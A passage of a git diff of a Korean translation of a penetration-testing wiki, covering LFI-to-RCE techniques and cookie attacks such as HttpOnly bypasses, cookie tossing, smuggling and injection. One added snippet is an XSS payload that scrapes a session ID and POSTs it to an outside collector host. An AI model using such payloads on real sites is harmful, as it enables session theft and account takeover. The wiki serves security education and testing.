||||
**로컬 파일 포함**이 발견되고 **phpinfo()**를 노출하는 파일이 file_uploads = on인 경우 RCE를 얻을 수 있습니다:
|
||||
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -638,7 +634,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
**로컬 파일 포함**이 발견되고 **임시 파일의 경로를 추출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하는 경우, 이 **경쟁 조건**을 사용하여 **그 검사를 우회**할 수 있습니다:
|
||||
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -647,7 +643,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을 **중단**하게 만들 수 있다면, **몇 시간 동안 파일 이름을 무작위로 대입**하여 임시 파일을 찾을 수 있습니다:
|
||||
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -656,19 +652,22 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### To Fatal Error
|
||||
|
||||
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나의 파일을 포함하면 됩니다. (그 오류를 발생시키기 위해 같은 파일을 2번 포함해야 합니다).
|
||||
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
|
||||
|
||||
**이것이 어떻게 유용한지는 모르겠지만, 유용할 수 있습니다.**\
|
||||
_비록 PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다._
|
||||
**이게 어떻게 유용한지는 잘 모르겠지만 가능성은 있습니다.**\
|
||||
_PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -4,150 +4,160 @@
|
||||
|
||||
## 쿠키 속성
|
||||
|
||||
쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가지고 있습니다. 다음은 이러한 속성에 대한 설명입니다:
|
||||
쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가집니다. 다음은 이러한 속성들에 대한 설명입니다:
|
||||
|
||||
### 만료 및 최대 연령
|
||||
### Expires and Max-Age
|
||||
|
||||
쿠키의 만료 날짜는 `Expires` 속성에 의해 결정됩니다. 반대로, `Max-age` 속성은 쿠키가 삭제될 때까지의 시간을 초 단위로 정의합니다. **더 현대적인 관행을 반영하는 `Max-age`를 선택하세요.**
|
||||
쿠키의 만료 날짜는 `Expires` 속성으로 결정됩니다. 반면 `Max-age` 속성은 쿠키가 삭제되기까지의 시간을 초 단위로 정의합니다. **현대적인 관행을 반영하므로 `Max-age`를 사용하는 것이 권장됩니다.**
|
||||
|
||||
### 도메인
|
||||
### Domain
|
||||
|
||||
쿠키를 받을 호스트는 `Domain` 속성에 의해 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며, 하위 도메인은 포함되지 않습니다. 그러나 `Domain` 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인 간의 쿠키 공유가 필요한 시나리오에서 유용한 덜 제한적인 옵션입니다. 예를 들어, `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 하위 도메인에서도 쿠키에 접근할 수 있습니다.
|
||||
쿠키를 수신할 호스트는 `Domain` 속성으로 지정됩니다. 기본적으로 이는 쿠키를 발행한 호스트로 설정되며 서브도메인은 포함하지 않습니다. 그러나 `Domain` 속성을 명시적으로 설정하면 서브도메인도 포함하게 됩니다. 이는 서브도메인 간에 쿠키를 공유해야 할 때 덜 제한적인 옵션이 됩니다. 예를 들어 `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 서브도메인에서도 쿠키에 접근할 수 있습니다.
|
||||
|
||||
### 경로
|
||||
### Path
|
||||
|
||||
`Cookie` 헤더가 전송되기 위해 요청된 URL에 반드시 존재해야 하는 특정 URL 경로는 `Path` 속성에 의해 표시됩니다. 이 속성은 `/` 문자를 디렉토리 구분자로 간주하여 하위 디렉토리에서도 일치를 허용합니다.
|
||||
요청된 URL에 지정된 특정 URL 경로가 존재할 때 `Cookie` 헤더가 전송되도록 요구하는 것은 `Path` 속성입니다. 이 속성은 `/` 문자를 디렉터리 구분자로 간주하여 하위 디렉터리에서도 매칭되도록 허용합니다.
|
||||
|
||||
### 정렬 규칙
|
||||
### Ordering Rules
|
||||
|
||||
두 개의 쿠키가 동일한 이름을 가질 때, 전송할 쿠키는 다음에 따라 선택됩니다:
|
||||
두 개의 쿠키가 동일한 이름을 가질 때 전송할 쿠키는 다음 기준으로 선택됩니다:
|
||||
|
||||
- 요청된 URL에서 가장 긴 경로와 일치하는 쿠키.
|
||||
- 경로가 동일할 경우 가장 최근에 설정된 쿠키.
|
||||
- 요청된 URL에서 가장 긴 path와 매칭되는 쿠키.
|
||||
- path가 동일할 경우 가장 최근에 설정된 쿠키.
|
||||
|
||||
### SameSite
|
||||
|
||||
- `SameSite` 속성은 쿠키가 제3자 도메인에서 발생한 요청에 대해 전송되는지를 결정합니다. 세 가지 설정을 제공합니다:
|
||||
- **Strict**: 제3자 요청에서 쿠키가 전송되지 않도록 제한합니다.
|
||||
- **Lax**: 제3자 웹사이트에서 시작된 GET 요청과 함께 쿠키가 전송될 수 있습니다.
|
||||
- **None**: 모든 제3자 도메인에서 쿠키가 전송될 수 있습니다.
|
||||
- `SameSite` 속성은 제3자 도메인에서 시작된 요청에 대해 쿠키가 전송되는지를 결정합니다. 세 가지 설정이 있습니다:
|
||||
- **Strict**: 제3자 요청에 대해 쿠키 전송을 제한합니다.
|
||||
- **Lax**: 제3자 웹사이트에서 시작된 GET 요청에는 쿠키 전송을 허용합니다.
|
||||
- **None**: 어떤 제3자 도메인에서도 쿠키 전송을 허용합니다.
|
||||
|
||||
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 예상대로 동작하도록 보장할 수 있습니다.
|
||||
설정을 구성할 때 이러한 속성들을 이해하면 다양한 시나리오에서 기대한 대로 동작하도록 하는 데 도움이 됩니다.
|
||||
|
||||
| **요청 유형** | **예제 코드** | **쿠키 전송 시** |
|
||||
| -------------- | ------------------------------- | ----------------- |
|
||||
| 링크 | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| 프리렌더링 | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| 폼 GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| 폼 POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| 이미지 | \<img src="..."> | NetSet\*, None |
|
||||
| **요청 타입** | **예시 코드** | **쿠키 전송 조건** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| 링크 | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| 이미지 | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
표는 [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)에서 가져온 것이며 약간 수정되었습니다.\
|
||||
_**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
_**SameSite**_ 속성을 가진 쿠키는 로그인이 필요한 경우 **CSRF 공격을 완화**합니다.
|
||||
|
||||
**\*Chrome80(2019년 2월)부터 쿠키에 SameSite 속성이 없는 경우 기본 동작은 lax**입니다 ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
이 변경을 적용한 후, Chrome에서 **SameSite 정책이 없는 쿠키는** **처음 2분 동안은 None으로 처리되고, 이후에는 최상위 교차 사이트 POST 요청에 대해 Lax로 처리됩니다.**
|
||||
**\*Chrome80(2019년 2월)부터 cookie에 SameSite 속성이 없을 경우 기본 동작은 Lax가 됩니다** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
이 변경을 적용한 초기 일시적인 기간 동안 Chrome에서는 **SameSite 정책이 없는 쿠키**를 처음 2분 동안 **None으로 처리**하고, 그 이후에는 최상위 cross-site POST 요청에 대해 **Lax로 처리**합니다.
|
||||
|
||||
## 쿠키 플래그
|
||||
|
||||
### HttpOnly
|
||||
|
||||
이 속성은 **클라이언트**가 쿠키에 접근하는 것을 방지합니다 (예: **Javascript**를 통해: `document.cookie`).
|
||||
이 속성은 **클라이언트**가 쿠키에 접근하는 것을 방지합니다 (예: **Javascript**에서 `document.cookie`).
|
||||
|
||||
#### **우회 방법**
|
||||
#### **Bypasses**
|
||||
|
||||
- 페이지가 요청의 응답으로 쿠키를 전송하는 경우(예: **PHPinfo** 페이지), XSS를 악용해 해당 페이지로 요청을 보내고 응답에서 쿠키를 **탈취**할 수 있습니다 (예시: [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- 서버가 응답으로 쿠키를 반사하면 (해당 HTTP 메서드를 지원하는 경우) **TRACE** HTTP 요청으로 우회할 수 있습니다. 이 기법을 **Cross-Site Tracking**이라고 합니다.
|
||||
- 현대 브라우저는 JS에서 TRACE 요청 전송을 허용하지 않아 이 기법을 차단합니다. 다만 일부 소프트웨어에서는 `\r\nTRACE`를 보내는 식의 우회가 발견된 경우가 있습니다(예: IE6.0 SP2).
|
||||
- 또 다른 방법은 브라우저의 제로데이 취약점을 악용하는 것입니다.
|
||||
- Cookie Jar overflow 공격을 수행하면 HttpOnly 쿠키를 덮어쓸 수 있습니다:
|
||||
|
||||
- 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수** 있습니다 (예제는 [여기](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인하세요).
|
||||
- **TRACE** **HTTP** 요청으로 우회할 수 있으며, 서버의 응답은 전송된 쿠키를 반영합니다. 이 기술은 **Cross-Site Tracking**이라고 합니다.
|
||||
- 이 기술은 **현대 브라우저에서 JS로 TRACE** 요청을 보내는 것을 허용하지 않음으로써 회피됩니다. 그러나 IE6.0 SP2에서 `TRACE` 대신 `\r\nTRACE`를 보내는 등의 특정 소프트웨어에서 우회 방법이 발견되었습니다.
|
||||
- 또 다른 방법은 브라우저의 제로/데이 취약점을 악용하는 것입니다.
|
||||
- 쿠키 항아리 오버플로우 공격을 수행하여 **HttpOnly 쿠키를 덮어쓸 수** 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- [**쿠키 밀수**](#cookie-smuggling) 공격을 사용하여 이러한 쿠키를 유출할 수 있습니다.
|
||||
- 이러한 쿠키를 탈취하기 위해 [**Cookie Smuggling**](#cookie-smuggling) 공격을 사용할 수도 있습니다.
|
||||
- 만약 서버 측 엔드포인트가 HTTP 응답에 원시 세션 ID를 반영(예: HTML 주석이나 디버그 블록 안)한다면, XSS gadget을 사용해 해당 엔드포인트를 호출하고 정규식으로 비밀을 추출한 뒤 이를 탈취하여 HttpOnly를 우회할 수 있습니다. 예시 XSS 페이로드 패턴:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### 보안
|
||||
|
||||
### Secure
|
||||
요청은 **오직** 암호화된 채널(일반적으로 **HTTPS**)로 전송되는 경우에만 HTTP 요청에 쿠키를 전송합니다.
|
||||
|
||||
요청은 **HTTP** 요청이 보안 채널(일반적으로 **HTTPS**)을 통해 전송될 경우에만 쿠키를 **전송합니다**.
|
||||
## Cookies Prefixes
|
||||
|
||||
## 쿠키 접두사
|
||||
`__Secure-` 접두사가 붙은 쿠키는 HTTPS로 보호된 페이지에서 `secure` 플래그와 함께 설정되어야 합니다.
|
||||
|
||||
`__Secure-`로 접두사가 붙은 쿠키는 HTTPS로 보호된 페이지에서 `secure` 플래그와 함께 설정되어야 합니다.
|
||||
|
||||
`__Host-`로 접두사가 붙은 쿠키는 여러 조건을 충족해야 합니다:
|
||||
`__Host-` 접두사가 붙은 쿠키에는 다음 조건들이 충족되어야 합니다:
|
||||
|
||||
- `secure` 플래그와 함께 설정되어야 합니다.
|
||||
- HTTPS로 보호된 페이지에서 유래해야 합니다.
|
||||
- 도메인을 지정할 수 없으며, 하위 도메인으로의 전송이 금지됩니다.
|
||||
- 이러한 쿠키의 경로는 `/`로 설정되어야 합니다.
|
||||
- HTTPS로 보호된 페이지에서 생성되어야 합니다.
|
||||
- 도메인을 지정할 수 없으며, 서브도메인으로 전송되는 것을 방지합니다.
|
||||
- 이 쿠키들의 경로는 `/`로 설정되어야 합니다.
|
||||
|
||||
`__Host-`로 접두사가 붙은 쿠키는 슈퍼도메인이나 하위 도메인으로 전송될 수 없다는 점에 유의해야 합니다. 이 제한은 애플리케이션 쿠키를 격리하는 데 도움이 됩니다. 따라서 모든 애플리케이션 쿠키에 대해 `__Host-` 접두사를 사용하는 것은 보안 및 격리를 강화하는 좋은 관행으로 간주될 수 있습니다.
|
||||
`__Host-` 접두사가 붙은 쿠키는 상위 도메인이나 서브도메인으로 전송되는 것이 허용되지 않는다는 점에 유의해야 합니다. 이 제한은 애플리케이션 쿠키를 격리하는 데 도움을 줍니다. 따라서 모든 애플리케이션 쿠키에 `__Host-` 접두사를 사용하는 것은 보안과 격리를 향상시키는 좋은 관행으로 간주될 수 있습니다.
|
||||
|
||||
### 쿠키 덮어쓰기
|
||||
### Overwriting cookies
|
||||
|
||||
따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**쿠키 토스 공격**](cookie-tossing.md)을 방지합니다. [**쿠키 크럼블: 웹 세션 무결성 취약점 공개**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**논문**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 \_\_HOST- 접두사가 붙은 쿠키를 설정할 수 있는 방법이 제시되었습니다. 예를 들어, 시작 부분이나 끝에 "="를 추가하여 파서를 속이는 방법입니다:
|
||||
따라서 `__Host-` 접두사 쿠키의 보호 중 하나는 서브도메인에서 해당 쿠키가 덮어써지는 것을 방지하는 것입니다. 예를 들어 [**Cookie Tossing attacks**](cookie-tossing.md)를 방지합니다. 강연 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서는 파서를 속여 서브도메인에서 \_\_HOST- 접두사 쿠키를 설정할 수 있었던 사례를 소개합니다. 예를 들어 이름의 앞이나 앞뒤에 "="를 추가하는 방식 등이 있었습니다...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
또한 PHP에서는 쿠키 이름의 시작 부분에 **다른 문자를 추가하여** **밑줄** 문자로 대체되도록 하여 `__HOST-` 쿠키를 덮어쓸 수 있었습니다:
|
||||
또는 PHP에서는 쿠키 이름의 시작 부분에 **다른 문자들**을 추가하면 이들이 **언더스코어 문자로 대체**되어 `__HOST-` 쿠키를 덮어쓸 수 있었습니다:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## 쿠키 공격
|
||||
## Cookies Attacks
|
||||
|
||||
사용자 정의 쿠키에 민감한 데이터가 포함되어 있는 경우 이를 확인하세요 (특히 CTF를 진행 중인 경우), 취약할 수 있습니다.
|
||||
커스텀 쿠키에 민감한 데이터가 포함되어 있다면(특히 CTF를 플레이 중이라면) 취약할 가능성이 있으므로 확인하세요.
|
||||
|
||||
### 쿠키 디코딩 및 조작
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
쿠키에 포함된 민감한 데이터는 항상 면밀히 검토해야 합니다. Base64 또는 유사한 형식으로 인코딩된 쿠키는 종종 디코딩할 수 있습니다. 이 취약점은 공격자가 쿠키의 내용을 변경하고 수정된 데이터를 쿠키에 다시 인코딩하여 다른 사용자를 가장할 수 있게 합니다.
|
||||
쿠키에 포함된 민감한 데이터는 항상 검토해야 합니다. Base64 등 유사 포맷으로 인코딩된 쿠키는 종종 디코딩할 수 있습니다. 이 취약점을 이용하면 공격자는 쿠키 내용을 변경한 뒤 수정한 데이터를 다시 인코딩하여 쿠키에 넣음으로써 다른 사용자를 가장할 수 있습니다.
|
||||
|
||||
### 세션 하이재킹
|
||||
### Session Hijacking
|
||||
|
||||
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 해당 계정에 무단으로 접근하는 것입니다. 훔친 쿠키를 사용하여 공격자는 합법적인 사용자를 가장할 수 있습니다.
|
||||
이 공격은 사용자의 쿠키를 탈취하여 애플리케이션 내 계정에 무단으로 접근하는 것을 포함합니다. 탈취한 쿠키를 사용하면 공격자는 정당한 사용자를 가장할 수 있습니다.
|
||||
|
||||
### 세션 고정
|
||||
### Session Fixation
|
||||
|
||||
이 시나리오에서 공격자는 피해자가 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
|
||||
이 시나리오에서 공격자는 피해자가 특정 쿠키로 로그인하도록 속입니다. 애플리케이션이 로그인 시 새로운 쿠키를 할당하지 않으면, 공격자는 원래 쿠키를 이용해 피해자를 가장할 수 있습니다. 이 기법은 피해자가 공격자가 제공한 쿠키로 로그인하도록 유도하는 것에 의존합니다.
|
||||
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### 세션 기부
|
||||
### Session Donation
|
||||
|
||||
여기서 공격자는 피해자가 공격자의 세션 쿠키를 사용하도록 설득합니다. 피해자는 자신의 계정에 로그인했다고 믿고 공격자의 계정 컨텍스트에서 무심코 작업을 수행하게 됩니다.
|
||||
여기서 공격자는 피해자가 공격자의 세션 쿠키를 사용하도록 설득합니다. 피해자는 자신의 계정에 로그인했다고 믿고 무심코 공격자의 계정 컨텍스트에서 동작을 수행하게 됩니다.
|
||||
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### [JWT 쿠키](../hacking-jwt-json-web-tokens.md)
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
이전 링크를 클릭하여 JWT의 가능한 결함을 설명하는 페이지에 접근하세요.
|
||||
Click on the previous link to access a page explaining possible flaws in JWT.
|
||||
|
||||
쿠키에서 사용되는 JSON 웹 토큰(JWT)도 취약점을 가질 수 있습니다. 잠재적인 결함과 이를 악용하는 방법에 대한 심층 정보를 얻으려면 JWT 해킹에 대한 링크된 문서를 참조하는 것이 좋습니다.
|
||||
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
|
||||
|
||||
### 교차 사이트 요청 위조 (CSRF)
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원치 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대한 모든 요청과 함께 자동으로 전송되는 쿠키를 악용할 수 있습니다.
|
||||
이 공격은 로그인이 된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 동작을 수행하도록 강제합니다. 공격자는 취약한 사이트로의 모든 요청에 자동으로 전송되는 쿠키를 악용할 수 있습니다.
|
||||
|
||||
### 빈 쿠키
|
||||
|
||||
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 브라우저는 이름이 없는 쿠키를 생성하는 것을 허용하며, 이는 JavaScript를 통해 다음과 같이 시연할 수 있습니다:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) 브라우저는 이름 없는 쿠키 생성도 허용하며, 이는 JavaScript로 다음과 같이 시연할 수 있습니다:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
전송된 쿠키 헤더의 결과는 `a=v1; test value; b=v2;`입니다. 흥미롭게도, 이는 빈 이름 쿠키가 설정되면 쿠키를 조작할 수 있게 하며, 빈 쿠키를 특정 값으로 설정함으로써 다른 쿠키를 제어할 수 있습니다:
|
||||
전송된 cookie 헤더의 결과는 `a=v1; test value; b=v2;`입니다. 흥미롭게도, 빈 이름 cookie가 설정되면 cookie를 조작할 수 있으며, 빈 cookie를 특정 값으로 설정하여 다른 cookie를 제어할 수 있습니다:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -155,109 +165,109 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름과 `b`라는 값의 쿠키로 해석되는 쿠키 헤더를 전송합니다.
|
||||
이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름과 값 `b`를 가진 cookie로 해석되는 cookie 헤더를 전송합니다.
|
||||
|
||||
#### Chrome 버그: 유니코드 대리 코드 포인트 문제
|
||||
#### Chrome 버그: Unicode Surrogate Codepoint 문제
|
||||
|
||||
Chrome에서 유니코드 대리 코드 포인트가 설정된 쿠키의 일부인 경우, `document.cookie`가 손상되어 이후에 빈 문자열을 반환합니다:
|
||||
Chrome에서는 유니코드 서러게이트 코드포인트가 set cookie의 일부일 경우, `document.cookie`가 손상되어 이후 빈 문자열을 반환합니다:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
이로 인해 `document.cookie`가 빈 문자열을 출력하여 영구적인 손상을 나타냅니다.
|
||||
이로 인해 `document.cookie`가 빈 문자열을 출력하게 되어 영구적인 손상을 나타냅니다.
|
||||
|
||||
#### 파싱 문제로 인한 쿠키 스머글링
|
||||
#### Cookie Smuggling Due to Parsing Issues
|
||||
|
||||
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 확인하세요) Java(Jetty, TomCat, Undertow) 및 Python(Zope, cherrypy, web.py, aiohttp, bottle, webob)에서 제공하는 여러 웹 서버는 구식 RFC2965 지원으로 인해 쿠키 문자열을 잘못 처리합니다. 이들은 세미콜론이 포함되어 있어도 더블 쿼트된 쿠키 값을 단일 값으로 읽으며, 이는 일반적으로 키-값 쌍을 구분해야 합니다:
|
||||
(자세한 내용은[original research](https://blog.ankursundara.com/cookie-bugs/)) Java (Jetty, TomCat, Undertow) 및 Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) 등을 포함한 여러 웹 서버가 오래된 RFC2965 지원 때문에 cookie 문자열을 잘못 처리합니다. 이들은 세미콜론으로 보통 key-value pairs를 구분해야 하는 경우에도, 큰따옴표로 감싼 cookie 값을 하나의 값으로 읽습니다:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### 쿠키 주입 취약점
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) 서버가 쿠키를 잘못 파싱하는 경우, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie`와 `http.cookie.BaseCookie`를 사용하는 경우 쿠키 주입 공격의 기회를 제공합니다. 이러한 서버는 새로운 쿠키의 시작을 적절히 구분하지 못하여 공격자가 쿠키를 스푸핑할 수 있게 합니다:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) 서버들, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie`와 `http.cookie.BaseCookie`를 사용하는 서버들의 잘못된 쿠키 파싱은 cookie injection attacks의 기회를 만듭니다. 이러한 서버들은 새 쿠키의 시작을 올바르게 구분하지 못해 공격자가 쿠키를 spoof할 수 있게 합니다:
|
||||
|
||||
- Undertow는 세미콜론 없이 인용된 값 바로 뒤에 새로운 쿠키가 올 것으로 기대합니다.
|
||||
- Zope는 다음 쿠키를 파싱하기 위해 쉼표를 찾습니다.
|
||||
- Python의 쿠키 클래스는 공백 문자에서 파싱을 시작합니다.
|
||||
- Undertow는 세미콜론 없이 인용된 값 바로 다음에 새 쿠키가 오기를 기대합니다.
|
||||
- Zope는 다음 쿠키를 파싱하기 시작하기 위해 쉼표(,)를 찾습니다.
|
||||
- Python의 cookie 클래스는 공백 문자에서 파싱을 시작합니다.
|
||||
|
||||
이 취약점은 쿠키 기반 CSRF 보호에 의존하는 웹 애플리케이션에서 특히 위험하며, 공격자가 스푸핑된 CSRF 토큰 쿠키를 주입하여 보안 조치를 우회할 수 있게 합니다. 이 문제는 Python이 중복 쿠키 이름을 처리하는 방식으로 인해 악화되며, 마지막 발생이 이전 것을 덮어씁니다. 또한 불안전한 컨텍스트에서 `__Secure-` 및 `__Host-` 쿠키에 대한 우려를 불러일으키며, 쿠키가 스푸핑에 취약한 백엔드 서버로 전달될 때 권한 우회를 초래할 수 있습니다.
|
||||
이 취약점은 cookie-based CSRF protection에 의존하는 웹 애플리케이션에서 특히 위험합니다. 공격자가 spoofed CSRF-token cookies를 주입하여 보안 조치를 우회할 수 있기 때문입니다. 또한 중복 쿠키 이름을 처리하는 Python의 동작(마지막 항목이 이전 항목을 덮어씀)으로 인해 문제가 악화됩니다. `__Secure-` 및 `__Host-` 쿠키가 안전하지 않은 컨텍스트에 노출되는 문제도 있으며, 쿠키가 spoofing에 취약한 back-end 서버로 전달될 경우 권한 우회로 이어질 수 있습니다.
|
||||
|
||||
### 쿠키 $version
|
||||
### Cookies $version
|
||||
|
||||
#### WAF 우회
|
||||
#### WAF Bypass
|
||||
|
||||
